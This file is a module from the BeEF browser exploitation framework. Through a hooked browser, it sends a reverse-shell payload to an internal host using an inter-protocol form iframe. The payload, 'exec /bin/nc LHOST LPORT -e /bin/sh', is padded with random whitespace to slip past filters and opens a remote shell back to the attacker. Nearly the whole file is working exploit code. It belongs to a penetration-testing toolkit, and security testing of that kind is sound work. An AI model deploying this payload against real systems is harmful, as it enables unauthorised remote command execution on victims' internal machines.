command.js

//
// Copyright (c) 2006-2025Wade Alcorn - [email protected]
// Browser Exploitation Framework (BeEF) - https://beefproject.com
// See the file 'doc/COPYING' for copying permission
//

beef.execute(function() {
  var rhost = '<%= @rhost %>'; 
  var rport = '<%= @rport %>';
  var lhost = '<%= @lhost %>';
  var lport = '<%= @lport %>';
  var payload_name = 'reverse_netcat';
  var timeout = 15;
  var peer = rhost + ':' + rport;

  cleanup = function() {
    try {
      document.body.removeChild(felix_exec_iframe_<%= @command_id %>);
    } catch(e) {
      beef.debug("Could not remove iframe: " + e.message);
    }
  }
  setTimeout("cleanup()", timeout*1000);

  payload = function() {
    var whitespace = '';
    for (var i=0; i<Math.floor(Math.random()*10)+3; i++) whitespace += ' ';
    var payload = '';
    switch (payload_name) {
      default: // "reverse_netcat":
        payload = 'exec "/bin/nc ' + lhost + ' ' + lport + ' -e /bin/sh" ';
        payload = payload.replace(/ /g, whitespace);
        break;
    }
    return payload
  }

  exploit = function() {
    var code = payload();
    beef.debug(peer + " - Sending payload (" + code.length + " bytes)");
    var felix_exec_iframe_<%= @command_id %> = beef.dom.createIframeIpecForm(rhost, rport, "/", code);
    beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=exploit attempted");
  }

  try {
    exploit();
  } catch(e) {
    beef.debug(peer + " - Exploit failed: " + e.message);
  }

});